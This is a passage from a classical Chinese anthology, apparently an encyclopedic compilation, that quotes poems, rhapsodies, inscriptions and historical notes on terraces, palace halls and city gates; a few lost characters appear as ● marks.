. 由 来 递 相 叹 . 逝 川 终 不 收 .\n梁 庾 肩 吾 过 建 昌 故 台 诗 曰 . 鲁 国 观 遗 殿 . 韩 城 想 旧 台 . 仲 宣 原 隰 满 . 子 建 悲 风 来 . 夏 莲 犹 反 植 . 秋 窗 尚 左 开 . 图 云 仍 溜 雨 . 画 水 即 生 苔 . 及 君 欢 四 望 . 知 余 悲 七 哀 .\n陈 祖 孙 登 宫 殿 名 登 高 台 诗 曰 . 独 有 相 思 意 . 聊 敞 凤 皇 台 . 莲 披 香 梢 上 . 日 明 光 正 来 . 离 鹤 将 云 散 . 飞 花 似 雪 回 . 遥 思 竹 林 友 . 前 窗 夜 夜 开 .\n【 赋 】 魏 文 帝 登 台 赋 序 曰 . 建 安 十 七 年 . 春 游 西 园 . 登 铜 雀 台 . 命 余 兄 弟 并 作 . 其 词 曰 . 登 高 台 以 骋 望 . 好 灵 雀 之 丽 . 飞 阁 崛 其 特 起 . 层 楼 俨 以 承 天 . 步 逍 遥 以 容 与 . 聊 游 目 于 西 山 . 溪 谷 纡 以 交 错 . 草 木 郁 其 相 连 . 风 飘 飘 而 吹 衣 . 鸟 飞 鸣 而 过 前 . 申 踌 躇 以 周 览 . 临 城 隅 之 通 川 .\n魏 陈 王 曹 植 登 台 赋 曰 . 从 明 后 而 嬉 游 . 聊 登 台 以 娱 情 . 见 太 府 之 广 开 . 观 圣 德 之 所 营 . 建 高 殿 之 嵯 峨 . 浮 双 阙 乎 太 清 . 立 冲 天 之 华 观 . 连 飞 阁 乎 西 城 . 临 漳 川 之 长 流 . 望 众 果 之 滋 荣 . 仰 春 风 之 和 穆 . 听 百 鸟 之 悲 鸣 . 天 工 坦 其 既 立 . 家 愿 得 而 获 呈 . 扬 仁 化 于 宇 内 . 尽 肃 恭 于 上 京 . 唯 桓 文 之 为 盛 . 岂 足 方 乎 圣 明 . 休 矣 美 矣 . 惠 泽 远 扬 . 翼 佐 皇 家 . 宁 彼 四 方 . 同 天 地 之 矩 量 . 齐 日 月 之 辉 光 .\n晋 陆 云 登 台 赋 曰 . 永 宁 中 . 巡 幸 邺 宫 三 台 . 登 高 有 感 . 乃 作 赋 云 . 尔 乃 伫 眄 瑶 轩 . 流 目 绮 寮 . 中 原 方 华 . 绿 叶 振 翘 . 历 玉 陛 而 容 与 . 步 兰 堂 以 逍 遥 . 曲 房 萦 而 窈 眇 . 长 廊 邈 而 萧 条 . 于 是 聊 乐 近 游 . 薄 言 儴 佯 . 绮 疏 列 于 东 序 . 朱 户 立 乎 西 厢 . 感 旧 物 之 咸 存 . 悲 昔 人 之 云 亡 . 凭 虚 槛 而 远 想 . 审 历 命 于 斯 堂 . 于 是 精 疲 游 倦 . 白 日 藏 辉 . 鄙 春 登 之 有 情 . 恶 荆 台 之 忘 归 . 聊 弭 节 而 驾 言 . 帐 将 逝 而 徘 徊 .\n晋 孙 楚 韩 王 台 赋 曰 . 酸 枣 寺 门 外 . 夹 道 左 右 . 有 两 故 台 . 访 诸 故 老 . 云 韩 王 听 讼 观 也 . 望 韩 王 之 故 台 . 寻 往 代 之 所 营 . 双 阙 碣 以 峻 峙 . 贯 云 气 而 上 征 . 历 千 载 而 特 立 . 显 妙 观 于 太 清 . 薄 邯 郸 之 丛 台 . 陋 楚 国 之 章 华 . 邈 岧 峣 以 亢 极 . 岂 岑 楼 之 能 加 . 至 乃 宫 观 弘 敞 . 增 台 隐 天 . 伐 文 梓 于 万 仞 . 发 玉 石 于 三 泉 . 优 倡 角 乌 乌 之 声 . 蛾 眉 戏 白 雪 之 舞 . 纷 淫 衍 以 低 仰 . 翳 脩 袖 而 容 与 . 晋 卢 谌 登 邺 台 赋 曰 . 显 阳 隗 其 颠 隧 . 文 昌 鞠 而 为 墟 . 铜 爵 陨 于 台 侧 . 洪 钟 寝 于 两 除 . 奚 帝 王 之 灵 宇 . 为 狐 兔 之 攸 居 .\n【 铭 】 后 汉 李 尤 云 台 铭 曰 . 周 氏 旧 居 . 惟 汉 袭 因 . 崇\n台 嶒 峻 . 上 拟 苍 云 . 垂 示 亿 载 . 俾 率 旧 章 . 人 修 其 行 .\n而 国 其 昌 .\n汉 书 曰 . 宣 帝 幸 河 东 之 明 年 . 凤 皇 集 上 林 . 乃 作 凤 皇 殿 . 以 答 嘉 瑞 .\n又 曰 . 班 伯 少 受 诗 于 师 丹 . 大 将 军 王 凤 荐 伯 . 召 见 . 宴 昵 殿 中 . 诵 说 有 法 . 拜 为 中 常 侍 . 时 上 方 向 学 . 郑 宽 中 张 禹 . 朝 夕 入 说 尚 书 论 语 于 金 华 殿 中 . 诏 伯 受 焉 .\n三 辅 宫 殿 名 曰 . 未 央 宫 有 麒 麟 殿 椒 房 殿 .\n又 曰 . 长 乐 宫 前 殿 宣 德 殿 通 光 殿 高 明 殿 .\n汉 宫 阁 名 曰 . 长 安 有 临 华 殿 神 仙 殿 高 门 殿 朱 鸟 殿 曾 城 殿 宣 室 殿 永 明 殿 凤 皇 殿 飞 云 殿 昭 阳 殿 鸳 鸯 殿 钓 台 殿 合 欢 殿 . 萧 何 曹 参 韩 信 并 有 殿 .\n东 观 汉 记 曰 . 明 帝 欲 起 北 宫 . 尚 书 仆 射 钟 离 意 上 书 谏 . 出 为 鲁 相 . 后 起 德 阳 殿 . 殿 成 . 百 官 大 会 . 上 谓 公 卿 曰 . 钟 离 尚 书 若 在 . 不 得 成 此 殿 .\n范 晔 后 汉 书 曰 . 中 平 三 年 . 复 修 玉 堂 殿 .\n风 俗 通 曰 . 殿 堂 象 东 井 形 . 刻 作 荷 菱 . 菱 水 物 也 . 所 以 厌 火 .\n汉 官 典 职 曰 . 德 阳 殿 . 周 旋 容 万 人 . 激 洛 水 于 殿 下 .\n魏 志 曰 . 青 龙 三 年 秋 . 洛 阳 崇 华 殿 灾 . 改 名 九 龙 殿 .\n魏 略 曰 . 青 龙 三 年 . 起 太 极 殿 .\n洛 阳 故 诸 宫 名 曰 . 洛 阳 南 宫 . 有 却 非 殿 铜 马 殿 敬 法 殿 清 凉 殿 凤 皇 殿 嘉 德 殿 黄 龙 殿 竹 殿 .\n杨 龙 骧 洛 城 记 曰 . 显 阳 殿 北 有 云 气 殿 .\n洛 阳 宫 殿 簿 曰 . 明 光 徽 音 式 干 晖 章 含 章 建 始 仁 寿 宣 光 嘉 福 百 福 芙 蓉 九 华 流 圃 华 光 崇 光 . 并 殿 名 .\n戴 延 之 西 征 记 曰 . 太 极 殿 上 有 金 井 栏 . 金 博 山 . 金 辘 轳 . 蛟 龙 负 山 于 井 上 . 又 有 金 师 子 . 在 龙 下 .\n挚 虞 决 疑 要 注 曰 . 凡 大 殿 乃 有 陛 . 堂 则 有 阶 无 陛 也 . 左 右 平 者 . 以 文 砖 相 亚 次 . 者 为 阶 级 也 . 九 锡 之 礼 . 纳 陛 以 登 . 谓 受 此 陛 以 上 .\n【 赋 】 后 汉 李 尤 德 阳 殿 赋 曰 . 开 三 阶 而 参 会 . 错 金 银 于 两 楹 . 入 青 阳 而 窥 总 章 . 历 户 牖 之 所 经 . 连 璧 组 之 润 漫 . 杂 虬 文 之 蜿 蜒 . 尔 乃 周 阁 回 ● . 峻 楼 临 门 . 朱 阙 岩 岩 . 嵯 峨 概 云 . 青 琐 禁 门 . 廊 庑 翼 翼 . 华 虫 诡 异 . 密 采 珍 缛 . 达 兰 林 以 西 通 . 中 方 池 而 特 立 . 果 竹 郁 茂 以 蓁 蓁 . 鸿 雁 沛 裔 而 来 集 . 德 阳 之 北 . 斯 曰 濯 龙 . 蒲 萄 安 石 . 蔓 延 蒙 笼 . 橘 柚 含 桃 . 甘 果 成 丛 . 文 曜 水 . 光 映 煌 煌 .\n后 汉 王 延 寿 . 鲁 灵 光 殿 赋 序 曰 . 鲁 ● 光 殿 者 . 盖 景 帝 程 姬 之 子 恭 王 余 之 所 立 也 . 遭 汉 中 微 . 自 西 京 未 央 建 章 之 殿 . 盗 贼 奔 突 . 皆 见 隳 坏 . 而 ● 光 岿 然 独 存 . 意 者 岂 非 神 明 依 凭 支 持 . 以 保 汉 室 也 . 赋 曰 . 瞻 彼 灵 光 之 为 状 也 . 则 嵯 峨 嶵 ● 岿 巍 . 吁 可 畏 乎 其 骇 人 也 . 岧 峣 倜 傥 . 丰 盈 丽 博 . ● ● 敞 洞 . 胶 葛 兮 其 无 垠 也 . 于 是 乃 历 夫 大 阶 . 以 造 其 堂 . 俯 仰 顾 眄 . 东 西 周 章 . 彤 彩 之 饰 . 澔 澔 涆 涆 . 飞 流 烂 漫 . 素 璧 ● 曜 以 月 照 . 丹 柱 翕 赩 而 电 烻 . 鸿 圹 幌 以 爣 阆 . 瑟 萧 条 以 清 泠 . 动 滴 沥 而 成 响 . 音 雷 应 其 若 惊 . 耳 嘈 嘈 以 失 听 . 目 矎 矎 而 丧 精 . 骈 密 石 与 琅 玕 . 齐 玉 珰 与 璧 锳 . 于 是 详 察 其 栋 宇 . 观 其 结 构 . 规 矩 应 天 . 上 宪 觜 陬 . 崛 佹 云 起 . 嵚 岑 离 娄 . 三 闲 四 表 . 八 维 九 隅 . 万 楹 丛 倚 . 磊 砢 相 扶 . 尔 乃 悬 栋 结 阿 . 天 窗 绮 疏 . 发 秀 吐 荣 . 菡 萏 披 敷 . 绿 圆 渊 井 . 反 植 荷 蕖 . 秀 房 紫 的 . 窋 吒 垂 珠 . 云 楶 藻 梲 . 龙 桷 雕 镂 . 飞 禽 走 兽 . 因 木 生 姿 . 朱 鸟 舒 翼 以 峙 衡 . 腾 蛇 蟉 虬 而 绕 榱 . 白 鹿 子 蜺 于 欂 栌 . 蟠 螭 宛 转 而 承 楣 . 狡 兔 跧 伏 于 拊 侧 . 猿 猴 攀 椽 而 相 追 . 胡 人 遥 集 于 上 楹 . 俨 雅 跽 而 相 对 . 神 仙 谔 谔 于 栋 闲 . 玉 女 窥 窗 而 下 照 . 图 画 天 地 . 品 类 群 生 . 杂 物 奇 怪 . 山 神 海 灵 . 写 载 其 状 . 托 之 丹 青 . 千 变 万 化 . 事 各 缪 形 . 随 色 象 类 . 曲 得 其 情 . 上 纪 开 辟 邃 古 之 初 . 五 龙 比 翼 . 人 皇 九 头 . 伏 羲 麟 身 . 女 娲 蛇 躯 . 洪 荒 朴 略 . 厥 状 睢 盱 . 渐 台 临 池 . 增 曲 九 城 . 屹 然 特 立 . 的 尔 殊 形 . 高 经 华 盖 . 仰 看 天 庭 . 飞 陛 揭 孽 . 绿 云 上 征 . 中 坐 垂 景 . 俯 视 流 星 . 千 门 相 似 . 万 户 如 一 . 岩 突 洞 出 . 逶 迤 诘 屈 . 周 行 数 里 . 仰 不 见 日 .\n魏 何 晏 景 福 殿 赋 曰 . 立 景 福 之 秘 殿 . 备 皇 居 之 制 度 . 尔 乃 丰 层 覆 之 眈 眈 . 建 高 基 之 堂 堂 . 罗 疏 柱 之 汨 越 . 肃 坻 鄂 之 锵 锵 . 飞 檐 翼 以 轩 翥 . 反 宇 以 高 骧 . 远 而 望 之 . 若 摛 朱 霞 而 燿 天 文 . 近 而 察 之 . 若 仰 崇 山 而 载 垂 云 . 尔 乃 开 南 端 之 豁 达 . 张 笋 之 轮 豳 . 华 钟 杌 其 高 悬 . 悍 兽 仡 其 俪 陈 . 尔 其 结 构 则 修 梁 彩 制 . 下 褰 上 奇 . 枅 梧 复 叠 . 势 合 形 离 . 赩 如 蜿 虹 . 赫 如 奔 螭 . 皎 皎 白 闲 . 离 离 列 钱 . 晨 光 内 照 . 流 景 外 烻 . 金 楹 齐 列 . 玉 承 跋 . 青 琐 银 铺 . 是 为 闺 闼 . 温 房 承 其 东 序 . 凉 室 据 其 西 遍 . 开 建 阳 则 朱 炎 艳 . 启 金 光 则 清 风 臻 . 清 露 瀼 瀼 . 渌 水 浩 浩 树 以 嘉 木 . 植 以 芳 草 . 悠 悠 玄 黄 . 皑 皑 白 鸟 . 尔 乃 文 以 朱 绿 . 饰 以 碧 丹 . 点 以 银 黄 . 烁 以 琅 玕 . 清 风 萃 而 成 响 . 朝 日 曜 而 增 鲜 .\n魏 韦 诞 景 福 殿 赋 曰 . 瞻 大 厦 之 穹 崇 . 结 增 构 而 高 骧 . 脩 栋 迪 以 虹 指 . 飞 甍 竦 而 凤 翔 . 榱 桷 骈 逼 以 星 罗 . 轩 槛 曼 延 而 悠 长 . 伏 应 龙 于 反 宇 . 乘 流 苏 以 飘 扬 . 于 是 周 览 升 降 . 流 目 详 观 . 丛 楹 负 极 . 飞 槛 承 ● . 桁 梧 绮 错 . 楶 梲 鳞 攒 . 芙 蓉 侧 植 . 藻 井 悬 川 . 望 舒 凉 室 . 羲 和 温 房 . 玄 冬 则 暖 . 炎 夏 则 凉 . 总 寒 暑 于 区 宇 . 制 天 地 之 阴 阳 . 又 有 外 城 金 狄 . 诡 貌 殊 姿 . 列 于 应 门 . 肃 有 容 威 . 若 乃 离 殿 别 馆 . 粲 如 列 星 . 安 昌 延 休 . 清 宴 永 宁 . 美 百 号 之 特 居 . 嘉 休 祥 之 令 名 . 步 雕 辇 以 逍 遥 . 时 容 与 于 兰 庭 . 又 有 教 坊 讲 肆 . 才 士 布 列 . 新 诗 变 声 . 曲 调 殊 别 . 吟 清 商 之 激 哇 . 发 角 征 与 白 雪 . 音 感 灵 以 动 物 . 超 世 俗 以 独 绝 . 然 后 御 龙 舟 兮 翳 翠 盖 . 吴 姬 擢 歌 . 越 女 鼓 枻 . 咏 采 菱 之 清 讴 . 奏 渌 水 之 繁 会 .\n魏 夏 侯 惠 景 福 殿 赋 曰 . 周 步 堂 宇 . 东 西 眷 眄 . 彩 色 光 明 . 粲 烂 流 延 . 素 壁 ● 瀁 . 赫 弈 倩 练 . 尔 乃 察 其 奇 巧 . 观 其 微 形 . 嵚 崟 纡 曲 . 盘 牙 欹 倾 . 或 夭 矫 而 云 起 . 或 诘 屈 而 镮 萦 . 众 木 附 枝 以 连 注 . 栾 梧 倚 亚 而 相 经 . 若 乃 仰 观 绮 窗 . 周 览 菱 荷 . 流 彩 的 皪 . 微 秀 发 华 . 纤 茎 葳 蕤 . 顺 风 扬 波 . 含 光 内 燿 . 婀 嫋 纷 葩 . 曾 栌 外 周 . 榱 桷 内 附 . 或 因 势 以 连 接 . 或 邪 诡 以 盘 构 . 于 是 乎 飞 阁 连 延 . 驰 道 四 周 . 高 楼 承 云 . 列 观 若 浮 . 挹 朝 露 之 华 精 . 漱 醴 泉 之 清 流 .\n宋 孝 武 华 林 清 暑 殿 赋 曰 . 若 夫 瑶 榭 未 清 . 琼 室 流 炎 . 熏 风 夕 烈 . 炽 景 晨 严 . 高 峦 废 驾 . 游 衢 辍 骖 . 思 延 寒 于 夏 室 . 岂 徒 闻 于 遗 籍 . 伊 凉 燠 之 可 变 . 在 今 之 犹 昔 . 密 盻 林 梁 . 侧 眺 池 . 起 北 阜 而 置 悬 湖 . 沿 西 原 而 殿 清 暑 . 编 茅 树 基 . 采 椽 成 宇 . 转 流 环 堂 . 浮 清 浃 室 . 辟 西 棂 而 鉴 斜 月 . 高 东 轩 而 望 初 日 . 乃 炎 精 待 戒 . 青 祇 将 毕 . 濯 禊 在 辰 . 风 光 明 密 . 婉 祥 鳞 于 石 沼 . 仪 瑞 羽 于 林 术 . 浮 觞 无 届 . 展 乐 有 时 . 惟 欢 洽 矣 . 含 歌 受 辞 . 歌 曰 . 山 怀 风 兮 谷 吐 泉 . 清 潭 邃 兮 远 气 宣 . 符 深 情 兮 应 遥 心 . 促 千 里 兮 测 云 天 .\n宋 江 夏 王 刘 义 恭 华 林 清 暑 殿 赋 曰 . 构 御 暑 之 清 宫 . 傍 测 景 之 西 岑 . 列 乔 梧 以 蔽 日 . 树 长 杨 以 结 阴 . 醴 泉 涌 于 椒 室 . 迅 波 经 于 兰 庭 . 业 芳 芝 以 争 馥 . 合 百 草 以 竞 馨 . 饰 丹 壤 以 和 璧 . 加 疏 楯 以 连 城 . 至 于 朱 明 在 运 . 郁 夕 嚣 晨 . 寒 堂 凉 结 . 清 观 风 臻 . 览 兹 宇 之 灵 纬 . 启 圣 情 以 寤 神 . 岂 宣 曲 之 妄 拟 . 焉 甘 泉 之 足 陈 .\n宋 何 尚 之 华 林 清 暑 殿 赋 曰 . 逞 绵 亘 之 虹 梁 . 列 雕 刻 之 华 榱 . 网 户 翠 钱 . 青 轩 丹 墀 . 若 乃 奥 室 曲 房 . 深 沉 冥 密 . 始 如 易 修 . 终 然 难 悉 . 动 微 物 而 风 生 . 践 椒 涂 而 芳 质 . 觞 遇 成 宴 . 暂 游 累 日 . 却 倚 危 石 . 前 临 浚 谷 . 终 始 萧 森 . 激 清 引 浊 . 涌 泉 灌 于 基 扈 . 远 风 生 于 楹 曲 . 暑 虽 殷 而 不 炎 . 气 方 清 而 含 育 . 哀 鹄 唳 暮 . 悲 猿 啼 晓 . 灵 芝 被 崖 . 仙 华 覆 沼 .\n【 铭 】 后 汉 李 尤 德 阳 殿 铭 曰 . 皇 穹 垂 象 . 以 示 帝 王 . 紫 微 之 则 . 弘 诞 弥 光 . 大 汉 体 天 . 承 以 德 阳 . 崇 弘 高 丽 . 苞 受 万 方 . 内 综 朝 贡 . 外 俟 遐 荒 . 陈 徐 陵 太 极 殿 铭 曰 . 夫 紫 盖 黄 旗 . 扬 都 之 王 气 长 久 . 虎 踞 龙 蟠 . 金 陵 之 地 体 贞 固 . 天 居 爽 垲 . 大 寝 尊 严 . 高 应 瑞 门 . 仰 模 营 室 . 归 于 有 德 . 譬 彼 河 图 . 传 我 休 明 . 义 同 商 鼎 . 太 极 殿 者 . 法 互 ○ 初 学 记 二 十 四 作 氐 . 象 冗 . ○ 初 学 记 作 亢 . 王 者 之 位 以 尊 . 左 平 右 . 天 子 之 堂 为 贵 . 往 朝 煨 烬 . 多 历 年 所 . 世 道 隆 平 . 宜 其 休 复 . 监 军 邹 子 度 启 称 . 即 日 忽 有 一 大 梓 柱 . 从 流 来 泊 . 在 后 渚 岸 . 嵯 峨 容 与 . 若 汉 水 之 仙 槎 . 摇 漾 波 涛 . 似 新 亭 之 龙 刹 . 孤 拔 灵 山 . 允 彰 天 贶 . 昔 梁 氏 承 圣 . 将 图 缮 修 . 东 虏 窥 江 . 西 胡 犯 毕 . 定 之 方 中 . 亟 兴 师 旅 . 揆 之 以 日 . 辄 有 灾 故 . 是 知 秦 人 所 止 . 实 汉 祖 而 为 宫 . 吴 都 佳 气 . 乃 元 皇 而 斯 宅 . 千 栌 赫 弈 . 万 栱 崚 层 . 植 绿 芰 而 动 微 风 . 舒 丹 莲 而 制 流 火 . 甘 泉 远 望 . 睹 正 殿 之 峥 嵘 . 函 谷 遥 看 . 美 皇 居 之 佳 丽 . 信 可 以 齐 三 光 而 示 宇 宙 . 会 万 国 而 朝 诸 侯 . 爰 命 微 臣 . 乃 为 铭 曰 . 雍 畤 相 望 . 参 差 未 央 . 偃 师 回 顾 . 崔 嵬 德 阳 . 高 扪 太 一 . 正 睹 瑶 光 . 峨 峨 灵 柱 . 赫 赫 流 樟 . 美 矣 宫 室 . 嘉 哉 令 日 . 御 扆 垂 旒 . 当 朝 靖 跸 . 乐 备 韶 夏 . 礼 兼 文 质 . 帝 旅 无 喧 . 王 旗 斯 谧 . 肃 肃 卿 士 . 邕 邕 承 弼 . 汉 座 雕 屏 . 周 人 槛 棂 . 城 隅 有 勒 . 殿 省 皆 铭 . 况 复 皇 寝 . 宜 昭 国 经 . 方 流 典 训 . 永 树 天 廷 .\n陈 沈 炯 太 极 殿 铭 曰 . 臣 闻 在 天 成 象 . 紫 宫 所 以 昭 着 . 在 地 成 形 . 赤 县 居 其 区 宇 . 太 极 殿 者 . 资 两 仪 之 意 焉 . 大 壮 显 其 全 模 . 土 圭 测 其 正 影 . 周 曰 路 寝 . 汉 称 前 殿 . 虽 名 号 参 差 . 其 实 一 也 . 主 上 未 明 求 衣 . 日 旰 忘 食 . 隳 乐 坏 礼 . 造 次 留 神 . 汉 陛 秦 除 . 莫 不 葺 复 . 而 此 殿 兴 造 . 累 岁 未 成 . 外 遘 戎 机 . 内 忧 民 力 . 劬 劳 深 虑 . 荏 苒 移 时 . 至 陈 永 定 . 六 合 既 清 . 五 礼 稍 备 . 雕 楹 玉 . 华 榱 璧 珰 . 揆 之 有 日 . 而 犹 一 柱 . 楩 楠 豫 章 . 地 沦 外 寇 . 楚 材 晋 用 . 非 复 我 求 . 既 而 新 亭 前 江 . 有 流 查 甚 壮 . 盘 根 错 节 . 枝 叶 葱 蒨 . 津 人 以 闻 . 正 堪 时 用 . 于 是 将 作 受 诏 . 冬 官 奉 职 . 百 工 并 作 . 屡 降 乘 舆 . 匠 石 磨 砻 . 必 经 天 旨 . 俭 而 不 固 . 泰 而 不 奢 . 亿 兆 填 填 而 乐 成 也 . 曾 未 数 旬 . 焕 然 云 构 . 昔 晋 朝 缮 造 . 文 杏 有 阙 . 梅 梁 瑞 至 . 画 以 摽 花 . 自 是 迄 今 . 又 获 神 物 . 即 樟 树 焉 . 殿 之 某 间 即 某 柱 是 也 . 铭 曰 . 轩 辕 狭 堂 . 夏 后 卑 宫 . 文 来 质 往 . 蹇 产 弥 崇 . 体 制 八 都 . 开 兹 万 户 . 灼 烁 雄 梁 . 徘 徊 大 庑 . 璧 月 霄 悬 . 卿 云 昼 聚 . 岂 伊 开 阳 . 飞 来 应 柱 . 嘉 辰 令 月 . 新 寝 告 成 . 青 槐 赤 棘 . 郎 将 思 兵 . 翠 被 负 扆 . 百 辟 公 卿 . 钟 鼓 八 佾 . 箫 韶 九 成 . 庸 臣 再 拜 . 天 子 万 龄 .\n【 表 】 梁 王 筠 上 太 极 殿 表 曰 . 四 海 为 家 . 义 存 威 重 .\n万 国 来 朝 . 事 惟 壮 观 . 宪 北 辰 之 居 所 . 正 南 面 之 尊 贵 .\n绣 栭 镂 槛 . 延 曜 光 晖 . 虬 柱 虹 梁 . 杳 冥 云 雾 . 非 许 邺 之\n敢 伦 . 岂 雍 豫 之 能 拟 . 且 工 徒 乐 业 . 庶 民 自 竞 . 不 劳 永\n逸 . 不 日 而 成 . 信 可 以 宴 飨 百 神 . 朝 觐 群 后 者 矣 . 臣 过\n荷 宠 荣 . 禄 秩 优 润 . 谨 率 丹 款 . 上 夫 一 千 . 不 足 微 申 凫\n跃 . 伏 深 惭 竦 .\n晋 宫 阙 名 曰 . 洛 阳 宫 有 显 昌 坊 修 成 坊 绥 福 坊 延 禄 坊 休 征 坊 承 庆 坊 桂 芬 坊 椒 房 坊 舒 兰 坊 艺 文 坊 .\n王 隐 晋 书 曰 . 东 宫 坊 有 醉 相 杀 者 . 中 丞 奏 郎 官 从 事 孙 铄 杖 一 百 . 铄 奏 . 东 宫 是 行 马 内 . 而 推 行 马 外 官 . 为 违 法 令 . 诏 中 丞 令 史 各 一 百 .\n王 答 徐 邈 书 曰 . 见 傅 咸 弹 孙 詹 事 . 或 云 是 宫 . 或 云 坊 . 或 云 寺 . 此 东 宫 中 别 有 坊 . 又 中 庶 子 称 坊 . 詹 事 称 寺 . 寺 同 于 九 卿 耳 . 坊 是 通 名 . 如 天 朝 之 称 台 者 也 .\n【 赋 】 梁 萧 子 范 直 坊 赋 曰 . 余 以 天 监 六 年 . 为 洗 马 .\n十 七 年 . 复 直 中 舍 之 坊 . 感 恩 怀 旧 . 凄 然 而 作 . 岁 惟 奄\n茂 . 清 明 送 风 . 承 恩 从 官 . 自 府 游 宫 . 信 吾 生 之 多 幸 .\n遭 六 合 之 大 同 . 何 坊 禁 之 寥 . 对 长 庭 之 芜 永 . 门 幽 幽\n而 重 闭 . 室 愔 愔 而 内 静 . 应 晓 刻 而 坐 朝 . 听 鸣 钟 而 自 警\n. 虽 生 风 于 蟭 螟 . 终 罕 曜 于 阳 景 . 颇 留 连 于 九 思 . 恒 慇\n懃 于 三 省 . 于 时 也 . 春 果 余 英 . 夏 条 垂 实 . 殿 穹 隆 而 起\n阴 . 槐 连 拳 而 负 日 . 傍 高 墉 之 逦 迤 . 观 层 扉 之 郁 律 . 写\n学 宫 于 洛 都 . 模 画 堂 于 汉 室 . 台 榭 千 名 . 仙 灵 闲 出 .\n尔 雅 曰 . 閍 谓 之 门 . 正 门 谓 之 应 门 .\n易 曰 . 重 门 击 柝 . 以 待 暴 客 .\n周 官 曰 . 掌 舍 . 掌 王 会 同 之 舍 . 设 梐 枑 再 重 . 设 车 宫 辕 门 . 为 坛 壝 宫 棘 门 . 为 帷 宫 . 设 旌 门 . 无 宫 则 供 人 门 .\n毛 诗 曰 . 衡 门 之 下 . 可 以 栖 迟 .\n又 曰 . 乃 立 皋 门 . 皋 门 有 闶 . 乃 立 应 门 . 应 门 锵 锵 .\n诗 义 问 曰 . 横 一 木 作 门 . 而 上 无 屋 . 谓 之 衡 门 .\n左 传 曰 . 楚 子 囊 郑 子 耳 . 围 于 桐 门 .\n又 曰 . 王 叔 之 宰 曰 . 荜 门 圭 窦 之 人 . 而 皆 凌 其 上 . 其 难 为 上 矣 .\n又 曰 . 郑 大 水 . 龙 斗 于 时 门 之 外 .\n鲁 连 子 曰 . 先 生 见 孟 尝 君 于 杏 唐 之 门 .\n楚 辞 曰 . 望 长 楸 而 太 息 . 涕 淫 淫 其 若 霰 . 过 夏 首 而 西 浮 . 顾 龙 门 而 不 见 .\n越 绝 书 曰 . 楚 门 . 春 申 君 时 造 . 楚 人 从 入 . 故 号 楚 门 .\n史 记 曰 . 金 马 门 者 . 宦 者 署 门 也 . 门 傍 有 铜 马 . 故 谓 之 曰 金 马 门 .\n贾 谊 书 曰 . 天 子 宫 门 曰 司 马 门 .\n又 曰 . 高 帝 瓜 分 天 下 . 以 王 有 功 之 臣 . 择 良 日 . 立 诸 侯 洛 阳 上 东 门 之 外 .\n说 苑 曰 . 于 公 筑 治 庐 舍 . 谓 匠 人 曰 . 为 我 高 门 . 我 治 狱 未 尝 有 冤 . 后 世 必 有 封 侯 者 . 令 容 高 盖 驷 马 . 及 后 果 封 为 西 平 侯 .\n汉 书 曰 . 元 帝 为 太 子 . 谨 慎 . 初 居 桂 宫 . 上 急 召 太 子 . 出 龙 楼 门 . 不 敢 绝 驰 道 .\n又 曰 . 太 液 池 南 有 璧 门 .\n又 曰 . 陈 平 家 贫 . 以 席 为 门 . 然 门 外 多 长 者 车 辙 .\n吴 越 春 秋 曰 . 子 胥 为 吴 造 大 城 . 陵 门 八 . 象 天 八 风 . 水 门 八 . 法 地 八 窗 .\n范 晔 后 汉 书 曰 . 孔 融 云 . 郑 君 里 门 . 四 方 所 由 观 礼 . 其 广 令 容 高 车 结 驷 . 名 为 通 德 门 .\n汉 宫 殿 名 曰 . 长 安 有 宣 平 门 覆 盎 门 万 秋 门 横 门 东 都 门 宣 德 门 元 成 门 青 绮 门 章 义 门 仁 寿 门 ● ○ 太 平 御 览 一 百 八 十 三 作 慈 . 石 门 .\n魏 书 曰 . 文 帝 初 在 东 宫 . 集 诸 儒 . 于 朝 肃 城 ○ 太 平 御 览 六 百 十 五 作 成 . 门 内 . 讲 论 大 义 . 侃 侃 无 倦 .\n古 今 地 名 曰 . 河 南 有 鼎 门 . 九 鼎 所 定 .\n华 阳 国 志 曰 . 蜀 城 十 里 . 有 升 迁 桥 . 送 客 观 . 司 马 相 如 初 入 长 安 . 题 其 门 曰 . 不 乘 赤 车 驷 马 . 不 过 汝 下 .\n吴 地 记 曰 . 阊 阖 门 者 . 吴 王 阖 闾 所 作 也 . 名 为 阊 阖 门 . 高 楼 阁 道 . 后 由 此 出 伐 楚 . 改 曰 破 楚 门 .\n世 说 曰 . 杨 脩 为 魏 武 主 簿 . 作 相 国 门 . 始 构 榱 桷 . 魏 武 自 看 . 使 人 题 门 作 活 字 . 便 去 . 杨 脩 见 . 即 令 坏 之 . 既 竟 . 曰 . 门 中 活 阔 字 . 王 嫌 门 大 也 .\n【 铭 】 后 汉 李 尤 门 铭 曰 . 门 之 设 张 . 为 宅 表 会 . 纳 善 ● 邪 . 击 柝 防 害 .\n又 中 东 门 铭 曰 . 中 东 处 仲 . 月 值 当 昴 . 仓 庚 有 声 . 隼 鹰 匿 爪 . 除 去 桎 梏 . 狱 讼 勿 考 .\n又 关 阳 城 门 铭 曰 . 关 阳 在 孟 . 位 月 惟 巳 . 清 明 冠 节 . 大 阳 进 起 .\n又 津 城 门 铭 曰 . 津 名 自 定 . 位 月 在 未 . 温 风 郁 暑 . 鹰 鸟 习 騺 .\n又 广 阳 门 铭 曰 . 广 阳 位 孟 . 厥 月 在 申 . 凉 风 从 时 . 白 露 已 分 .\n又 雍 城 门 铭 曰 . 雍 门 处 中 . 位 月 在 酉 . 盲 风 寒 浊 . 鷰 归 山 阜 .\n又 夏 城 门 铭 曰 . 夏 门 值 孟 . 位 月 在 亥 . 阴 阳 不 通 . 蝃 蝀 匿 彩 . 迎 冬 北 坛 . 从 阴 所 在 .\n又 谷 城 门 铭 曰 . 谷 门 北 中 . 位 当 于 子 . 太 阴 主 刑 . 杀 伐 为 首 .\n晋 挚 虞 门 铭 曰 . 禄 无 常 家 . 福 无 定 门 . 人 谋 鬼 谋 . 道 在 则 尊 .\n【 文 】 后 魏 温 子 升 阊 阖 门 上 梁 祝 文 曰 . 维 王 建 国 . 配\n彼 太 微 . 大 君 有 命 . 高 门 启 扉 . 良 辰 是 简 . 穆 卜 无 违 .\n雕 梁 乃 架 . 绮 翼 斯 飞 . 八 龙 杳 杳 . 九 龙 巍 巍 . 居 宸 纳 佑\n. 就 日 垂 衣 . 一 人 有 庆 . 四 海 爰 归 .\n说 文 曰 . 楼 . 重 屋 也 . 樔 . 泽 中 守 竹 楼 也 .\n黄 帝 占 军 气 决 曰 . 诸 将 军 气 如 城 楼 .\n史 记 曰 . 方 士 言 武 帝 曰 . 黄 帝 为 五 城 十 二 